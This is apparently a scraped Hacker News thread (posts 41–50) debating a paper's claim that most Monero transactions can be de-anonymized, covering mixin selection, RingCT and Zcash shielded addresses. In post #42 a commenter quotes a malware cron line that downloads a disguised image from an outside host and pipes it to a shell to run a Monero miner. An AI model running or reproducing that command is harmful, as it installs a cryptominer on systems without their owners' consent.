Live data from Hacker News

80% of Monero Transactions Trivially De-Anonymized

ipfs.io

41–50 of 88 posts

Re: 80% of Monero Transactions Trivially De-Anonymized

#41

Earlier quoted context omitted.

This paper is an empirical analysis. The Monero reports introduced a theoretical attack with conditions, e.g. “a critical loss in untraceability across the whole network if parameters are poorly chosen and if an attacker owns a sufficient percentage of the network.” The news is that our research confirms, for the first time, that this is actually the case, and it affects actual transactions.

The core of this paper's claim seems to be that 0-mixin transactions leave user's exposed, however Monero has since prohibited these types of transactions. So yes, these types of transactions going backwards are exposed, but moving forward they will not be. This appears to be the Monero's team main response. Am I missing any other substantive arguments from the paper?

> Am I missing any other substantive arguments from the paper?

The second half of the paper, "Linking with temporal analysis". If you read the second half of the introduction, you will find that the primary technique they use for tracing 80% of transactions is found in the current version.

The sloppiness of this code is really shocking, "when the Monero client chooses mixins, it does not take into account whether the potential mixins have already been spent."

Re: 80% of Monero Transactions Trivially De-Anonymized

#42
post #4

What a coincidence! Just today at work we've found malware on some of our servers. That malware added this cron job: /60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333 See: https://www.sophos.com/e…

With this little script the attacker made ~2700$ in the last five days!

Re: 80% of Monero Transactions Trivially De-Anonymized

#43

This response is interesting and worth a read: https://word-view.officeapps.live.com/wv/mWord.aspx?Fi=SD473...

Any chance i could get that as a static document? It seems chrome on linux and microsoft office online don't get along

I wrote this. How would you prefer for it to be uploaded?

Another link: https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng

Re: 80% of Monero Transactions Trivially De-Anonymized

#44

Earlier quoted context omitted.

This paper is an empirical analysis. The Monero reports introduced a theoretical attack with conditions, e.g. “a critical loss in untraceability across the whole network if parameters are poorly chosen and if an attacker owns a sufficient percentage of the network.” The news is that our research confirms, for the first time, that this is actually the case, and it affects actual transactions.

The core of this paper's claim seems to be that 0-mixin transactions leave user's exposed, however Monero has since prohibited these types of transactions. So yes, these types of transactions going backwards are exposed, but moving forward they will not be. This appears to be the Monero's team main response. Am I missing any other substantive arguments from the paper?

I wrote this unofficial response which I feel covers most items: https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng

Re: 80% of Monero Transactions Trivially De-Anonymized

#45
post #20

Earlier quoted context omitted.

> should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse). Agreed, this should updated to specify that only transactions between shielded addresses are protected. The point they are trying to make is that the anonymity set between shielded addresses is that of all transactions in the anonymous set. (FWIW, this is a pre-publication draft.) > No? I…

> ZCash is pretty explicit about the difference between shielded and transparent addresses.... This is an important point. Having two very distinct addresses (different lengths, different prefixes, different RPC APIs) makes it very obvious to users when they have the benefits of shielded transactions, and when they don't. Thus users make an explicit choice to forgo privacy when they use transparent addresses. The pro…

Sorry if I'm looking at the data wrong, but this chart suggests less than 5% are shielded https://explorer.zcha.in/statistics/value

Is the chart wrong?

Re: 80% of Monero Transactions Trivially De-Anonymized

#46

Earlier quoted context omitted.

The core of this paper's claim seems to be that 0-mixin transactions leave user's exposed, however Monero has since prohibited these types of transactions. So yes, these types of transactions going backwards are exposed, but moving forward they will not be. This appears to be the Monero's team main response. Am I missing any other substantive arguments from the paper?

> Am I missing any other substantive arguments from the paper? The second half of the paper, "Linking with temporal analysis". If you read the second half of the introduction, you will find that the primary technique they use for tracing 80% of transactions is found in the current version. The sloppiness of this code is really shocking, "when the Monero client chooses mixins, it does not take into account whether the…

> you will find that the primary technique they use for tracing 80% of transactions is found in the current version.

This is blatantly false, and I implore you to do further research before making and spreading such conclusions.

Re: 80% of Monero Transactions Trivially De-Anonymized

#47

Earlier quoted context omitted.

The core of this paper's claim seems to be that 0-mixin transactions leave user's exposed, however Monero has since prohibited these types of transactions. So yes, these types of transactions going backwards are exposed, but moving forward they will not be. This appears to be the Monero's team main response. Am I missing any other substantive arguments from the paper?

> Am I missing any other substantive arguments from the paper? The second half of the paper, "Linking with temporal analysis". If you read the second half of the introduction, you will find that the primary technique they use for tracing 80% of transactions is found in the current version. The sloppiness of this code is really shocking, "when the Monero client chooses mixins, it does not take into account whether the…

> The sloppiness of this code is really shocking, "when the Monero client chooses mixins, it does not take into account whether the potential mixins have already been spent."

I'm not thoroughly familiar with monero's internals, so someone please correct me if I'm wrong, but I thought it was well known that this was a deliberate design decision. Previously spent amounts don't actually run a risk of being double spent as they're only used anonymization purposes, as far as I understand. So why is this is considered "sloppy"?

Re: 80% of Monero Transactions Trivially De-Anonymized

#48

Earlier quoted context omitted.

From the paper: Applicability to current and future transactions using RingCT. The weakness studied in this section is pri- marily a concern for transactions made in the past, as transactions using the new RingCT transaction option are generally immune.

The key phrase being "in this section" - section 3 deals with the older vulnerability while section 4 deals with RingCT transactions.

The section 3 vulnerability traces (aka "de-anonymizes") precisely no transactions at all. It indicates that the probabilities across potential outputs sources are biased, but does not offer any method at all to identify any actual source.

The estimate of the bias given in the paper for the current default and typical usage is that the most recent potential source has a probability of 45% instead of the ideal 20%. In fact this likely applies to 100% of current transactions, not 80%.

This is a known issue, and not ideal, and the quantitative results in the paper are helpful, but the paper does not show what you claim it shows.

Re: 80% of Monero Transactions Trivially De-Anonymized

#49

Earlier quoted context omitted.

> Am I missing any other substantive arguments from the paper? The second half of the paper, "Linking with temporal analysis". If you read the second half of the introduction, you will find that the primary technique they use for tracing 80% of transactions is found in the current version. The sloppiness of this code is really shocking, "when the Monero client chooses mixins, it does not take into account whether the…

> The sloppiness of this code is really shocking, "when the Monero client chooses mixins, it does not take into account whether the potential mixins have already been spent." I'm not thoroughly familiar with monero's internals, so someone please correct me if I'm wrong, but I thought it was well known that this was a deliberate design decision. Previously spent amounts don't actually run a risk of being double spent…

It was a deliberate design decision as the issue was mitigated in a different manner starting in early 2016 (and introducing that check wouldn't be very effective anyway for other reasons).

The results of the mitigation are shown in the paper as Figure 5. The success of the techniques in the paper decline rapidly over the course of 2016 and would effectively reach zero if the dataset were extended (this is noted in the text when it states that RingCT transactions are immune, although even without RingCT it would still effectively reach zero)

Re: 80% of Monero Transactions Trivially De-Anonymized

#50

Earlier quoted context omitted.

The core of this paper's claim seems to be that 0-mixin transactions leave user's exposed, however Monero has since prohibited these types of transactions. So yes, these types of transactions going backwards are exposed, but moving forward they will not be. This appears to be the Monero's team main response. Am I missing any other substantive arguments from the paper?

> Am I missing any other substantive arguments from the paper? The second half of the paper, "Linking with temporal analysis". If you read the second half of the introduction, you will find that the primary technique they use for tracing 80% of transactions is found in the current version. The sloppiness of this code is really shocking, "when the Monero client chooses mixins, it does not take into account whether the…

The technique in the second half of the paper is not able to trace any transactions at all, as I explained in more detail in another reply. It identifies a partial weakness in the ring signatures but it is not capable of breaking them.
Post reply on HN